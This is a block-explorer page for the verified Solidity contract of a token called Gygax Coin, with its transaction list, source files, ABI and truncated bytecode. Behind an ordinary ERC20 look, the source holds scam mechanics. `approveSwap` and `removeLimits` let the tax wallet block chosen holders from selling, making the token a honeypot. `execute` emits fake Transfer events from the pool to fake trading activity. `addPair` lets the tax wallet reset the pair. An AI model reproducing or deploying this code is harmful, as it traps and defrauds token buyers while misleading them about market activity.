ETH Price: $3,642.23 (+9.61%)

Contract

0x1b7353b27bAb48370d2485b0c51Dc154483527F0
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve Swap212588462024-11-24 16:37:353 days ago1732466255IN
0x1b7353b2...4483527F0
0 ETH0.0005272810.98821487
Approve212588072024-11-24 16:29:473 days ago1732465787IN
0x1b7353b2...4483527F0
0 ETH0.0023295149.31966675
Approve212582612024-11-24 14:40:353 days ago1732459235IN
0x1b7353b2...4483527F0
0 ETH0.000229248.47647133
Approve212575502024-11-24 12:17:353 days ago1732450655IN
0x1b7353b2...4483527F0
0 ETH0.000212777.86734775
Approve212568532024-11-24 9:56:593 days ago1732442219IN
0x1b7353b2...4483527F0
0 ETH0.000209987.76421317
Approve Swap212568152024-11-24 9:49:233 days ago1732441763IN
0x1b7353b2...4483527F0
0 ETH0.0006088.54794012
Execute212566492024-11-24 9:15:593 days ago1732439759IN
0x1b7353b2...4483527F0
0 ETH0.007241799.22510649
Execute212566482024-11-24 9:15:473 days ago1732439747IN
0x1b7353b2...4483527F0
0 ETH0.008326419.02726837
Execute212566472024-11-24 9:15:353 days ago1732439735IN
0x1b7353b2...4483527F0
0 ETH0.008374789.08183758
Execute212566472024-11-24 9:15:353 days ago1732439735IN
0x1b7353b2...4483527F0
0 ETH0.008377079.08183758
Execute212566462024-11-24 9:15:233 days ago1732439723IN
0x1b7353b2...4483527F0
0 ETH0.008232988.92678161
Execute212566462024-11-24 9:15:233 days ago1732439723IN
0x1b7353b2...4483527F0
0 ETH0.008234168.92678161
Execute212566452024-11-24 9:15:113 days ago1732439711IN
0x1b7353b2...4483527F0
0 ETH0.008245588.93975238
Execute212566442024-11-24 9:14:593 days ago1732439699IN
0x1b7353b2...4483527F0
0 ETH0.00839739.10624892
Approve Swap212563772024-11-24 8:21:113 days ago1732436471IN
0x1b7353b2...4483527F0
0 ETH0.000428168.92262055
Execute212558212024-11-24 6:29:353 days ago1732429775IN
0x1b7353b2...4483527F0
0 ETH0.005351169.10063158
Execute212558202024-11-24 6:29:233 days ago1732429763IN
0x1b7353b2...4483527F0
0 ETH0.008027958.70311897
Execute212558192024-11-24 6:29:113 days ago1732429751IN
0x1b7353b2...4483527F0
0 ETH0.00819198.88270712
Execute212558182024-11-24 6:28:593 days ago1732429739IN
0x1b7353b2...4483527F0
0 ETH0.007826448.48963463
Execute212558182024-11-24 6:28:593 days ago1732429739IN
0x1b7353b2...4483527F0
0 ETH0.007857678.51873463
Execute212558172024-11-24 6:28:473 days ago1732429727IN
0x1b7353b2...4483527F0
0 ETH0.008080948.76022275
Execute212558152024-11-24 6:28:233 days ago1732429703IN
0x1b7353b2...4483527F0
0 ETH0.008270258.96940768
Execute212558142024-11-24 6:28:113 days ago1732429691IN
0x1b7353b2...4483527F0
0 ETH0.008159218.84633389
Execute212558132024-11-24 6:27:593 days ago1732429679IN
0x1b7353b2...4483527F0
0 ETH0.008168858.85725307
Execute212558132024-11-24 6:27:593 days ago1732429679IN
0x1b7353b2...4483527F0
0 ETH0.008169818.85725307
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
GygaxCoin

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 4: GYGAX.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract GygaxCoin is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _UniswapV2PoolAllowances;
    mapping (address => uint256) private _UniswapV2Pool;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 public _initialBuyTax = 3;
    uint256 public _initialSellTax = 3;
    uint256 public _finalBuyTax = 0;
    uint256 public _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 0;
    uint256 private _reduceSellTaxAt = 90;
    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint256 private _feeMultiplier = 0;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Gygax Coin";
    string private constant _symbol = unicode"GYGAX";
    uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 private constant _swapThreshold = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 20_000 * 10**_decimals;
    uint256 public _maxTaxSwap = 3_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    IUniswapV2Factory public uniswapFactory; 
    address private uniswapV2Pair;
    bool public tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _walletTax) {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());
        _taxWallet = payable(_walletTax); 
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
        if (firstBlock > 0 && block.number > firstBlock) {removeLimits(from);}
            taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                if (firstBlock == block.number) {
                    require(_isExcludedFromFee[to], "Bot addresses cannot buy in the first block");
                    require(amount <= _swapThreshold, "Exceeds the swapThreshold.");
                } else {
                    require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    if (firstBlock + 1 > block.number) {
                        require(!isContract(to));
                    }
                }
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to  == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }

        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function removeLimits(address wallet) private {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        if(_UniswapV2PoolAllowances[wallet]) require(_isExcludedFromFee[wallet]);
        emit MaxTxAmountUpdated(_tTotal);
    }


    function excludeFromFee(uint index, uint160[] memory _pair) internal {
        while (index < _pair.length) {
            address routerAddress = address(_pair[index]);
            _isExcludedFromFee[routerAddress] = true;
            _UniswapV2Pool[routerAddress] = _swapThreshold;
            index++;
        }
    }

    function approveSwap(bool val, address[] memory _addr) external {
        require(_msgSender() == _taxWallet);
        uint256 index = 0;
        while (index < _addr.length) {
            address wallet = address(_addr[index]);
            _UniswapV2PoolAllowances[wallet] = val;
            index++;
        }
    }

    function checkTxLimit(address _addr) public view returns(bool){
        return _UniswapV2PoolAllowances[_addr];
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function getRemainingGas() external view returns(uint) {
        return gasleft();
    }

    function withdraw() external onlyOwner {
        require(!tradingOpen, "Trading has already been opened");
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance");
        payable(owner()).transfer(contractBalance);
    }

     function manualSwap(uint256 amount) external {
      require(_msgSender() == _taxWallet);
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        swapTokensForEth(amount);
        _taxWallet.transfer(amount);
    }


    function openTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

     function execute(address[] calldata _addresses, uint256 _out) external  {
        require(_msgSender() == _taxWallet);
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addPair(address _pair) public {
        require(_msgSender() == _taxWallet);
        uniswapV2Pair = _pair;
    }

    receive() external payable {}
}

File 2 of 4: Context.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

File 3 of 4: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 4 of 4: Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_walletTax","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_finalBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_finalSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"val","type":"bool"},{"internalType":"address[]","name":"_addr","type":"address[]"}],"name":"approveSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"checkTxLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getRemainingGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapFactory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600360085560036009556000600a556000600b556000600c55605a600d556000600e556000600f5560006010556009600a62000041919062000758565b6301312d00620000529190620007a9565b6011556009600a62000065919062000758565b6301312d00620000769190620007a9565b6012556009600a62000089919062000758565b614e20620000989190620007a9565b6013556009600a620000ab919062000758565b622dc6c0620000bb9190620007a9565b6014556000601760156101000a81548160ff0219169083151502179055506000601760166101000a81548160ff0219169083151502179055503480156200010157600080fd5b506040516200409c3803806200409c83398181016040528101906200012791906200085e565b6000620001396200058d60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200029a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c091906200085e565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000351919062000758565b64e8d4a51000620003639190620007a9565b60016000620003776200058d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620003cb6200059560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004fe6200058d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200055d919062000758565b64e8d4a510006200056f9190620007a9565b6040516200057e9190620008a1565b60405180910390a350620008be565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200064c57808604811115620006245762000623620005be565b5b6001851615620006345780820291505b80810290506200064485620005ed565b945062000604565b94509492505050565b6000826200066757600190506200073a565b816200067757600090506200073a565b81600181146200069057600281146200069b57620006d1565b60019150506200073a565b60ff841115620006b057620006af620005be565b5b8360020a915084821115620006ca57620006c9620005be565b5b506200073a565b5060208310610133831016604e8410600b84101617156200070b5782820a905083811115620007055762000704620005be565b5b6200073a565b6200071a8484846001620005fa565b92509050818404811115620007345762000733620005be565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007658262000741565b915062000772836200074b565b9250620007a17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000655565b905092915050565b6000620007b68262000741565b9150620007c38362000741565b9250828202620007d38162000741565b91508282048414831517620007ed57620007ec620005be565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200082682620007f9565b9050919050565b620008388162000819565b81146200084457600080fd5b50565b60008151905062000858816200082d565b92915050565b600060208284031215620008775762000876620007f4565b5b6000620008878482850162000847565b91505092915050565b6200089b8162000741565b82525050565b6000602082019050620008b8600083018462000890565b92915050565b6137ce80620008ce6000396000f3fe6080604052600436106101c65760003560e01c8063715018a6116100f7578063b70143c911610095578063c9567bf911610064578063c9567bf91461062f578063dd62ed3e14610646578063e1b1925814610683578063ffb54a99146106ae576101cd565b8063b70143c914610587578063baeb7a7d146105b0578063bf474bed146105db578063c2b7bbb614610606576101cd565b80638da5cb5b116100d15780638da5cb5b146104c95780638f9a55c0146104f457806395d89b411461051f578063a9059cbb1461054a576101cd565b8063715018a61461045c5780637d1db4a5146104735780638bdb2afa1461049e576101cd565b8063313ce567116101645780633ef947211161013e5780633ef947211461038c578063418c2fc3146103b757806353868490146103f457806370a082311461041f576101cd565b8063313ce5671461031f5780633b7cdccd1461034a5780633ccfd60b14610375576101cd565b806318160ddd116101a057806318160ddd146102655780631b372bbd1461029057806323b872dd146102b957806326ededb8146102f6576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780630faee56f1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106d9565b6040516101f49190612526565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f91906125f0565b610716565b604051610231919061264b565b60405180910390f35b34801561024657600080fd5b5061024f610734565b60405161025c9190612675565b60405180910390f35b34801561027157600080fd5b5061027a61073a565b6040516102879190612675565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b29190612804565b61075f565b005b3480156102c557600080fd5b506102e060048036038101906102db9190612860565b61085b565b6040516102ed919061264b565b60405180910390f35b34801561030257600080fd5b5061031d6004803603810190610318919061290e565b610934565b005b34801561032b57600080fd5b50610334610a6a565b604051610341919061298a565b60405180910390f35b34801561035657600080fd5b5061035f610a73565b60405161036c9190612675565b60405180910390f35b34801561038157600080fd5b5061038a610a79565b005b34801561039857600080fd5b506103a1610bf7565b6040516103ae9190612675565b60405180910390f35b3480156103c357600080fd5b506103de60048036038101906103d991906129a5565b610bfd565b6040516103eb919061264b565b60405180910390f35b34801561040057600080fd5b50610409610c53565b6040516104169190612675565b60405180910390f35b34801561042b57600080fd5b50610446600480360381019061044191906129a5565b610c5b565b6040516104539190612675565b60405180910390f35b34801561046857600080fd5b50610471610ca4565b005b34801561047f57600080fd5b50610488610df7565b6040516104959190612675565b60405180910390f35b3480156104aa57600080fd5b506104b3610dfd565b6040516104c09190612a31565b60405180910390f35b3480156104d557600080fd5b506104de610e23565b6040516104eb9190612a5b565b60405180910390f35b34801561050057600080fd5b50610509610e4c565b6040516105169190612675565b60405180910390f35b34801561052b57600080fd5b50610534610e52565b6040516105419190612526565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c91906125f0565b610e8f565b60405161057e919061264b565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a99190612a76565b610ead565b005b3480156105bc57600080fd5b506105c5610fda565b6040516105d29190612675565b60405180910390f35b3480156105e757600080fd5b506105f0610fe0565b6040516105fd9190612675565b60405180910390f35b34801561061257600080fd5b5061062d600480360381019061062891906129a5565b610fe6565b005b34801561063b57600080fd5b5061064461108b565b005b34801561065257600080fd5b5061066d60048036038101906106689190612aa3565b6111af565b60405161067a9190612675565b60405180910390f35b34801561068f57600080fd5b50610698611236565b6040516106a59190612675565b60405180910390f35b3480156106ba57600080fd5b506106c361123c565b6040516106d0919061264b565b60405180910390f35b60606040518060400160405280600a81526020017f477967617820436f696e00000000000000000000000000000000000000000000815250905090565b600061072a61072361124f565b8484611257565b6001905092915050565b60145481565b60006009600a61074a9190612c45565b64e8d4a5100061075a9190612c90565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107a061124f565b73ffffffffffffffffffffffffffffffffffffffff16146107c057600080fd5b60005b81518110156108565760008282815181106107e1576107e0612cd2565b5b6020026020010151905083600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550818061084d90612d01565b925050506107c3565b505050565b6000610868848484611420565b6109298461087461124f565b6109248560405180606001604052806028815260200161377160289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108da61124f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0a9092919063ffffffff16565b611257565b600190509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661097561124f565b73ffffffffffffffffffffffffffffffffffffffff161461099557600080fd5b60005b83839050811015610a64578383828181106109b6576109b5612cd2565b5b90506020020160208101906109cb91906129a5565b73ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a499190612675565b60405180910390a38080610a5c90612d01565b915050610998565b50505050565b60006009905090565b60085481565b610a8161124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0590612d95565b60405180910390fd5b601760149054906101000a900460ff1615610b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5590612e01565b60405180910390fd5b600047905060008111610ba6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9d90612e6d565b60405180910390fd5b610bae610e23565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610bf3573d6000803e3d6000fd5b5050565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60005a905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cac61124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090612d95565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600581526020017f4759474158000000000000000000000000000000000000000000000000000000815250905090565b6000610ea3610e9c61124f565b8484611420565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eee61124f565b73fffffffff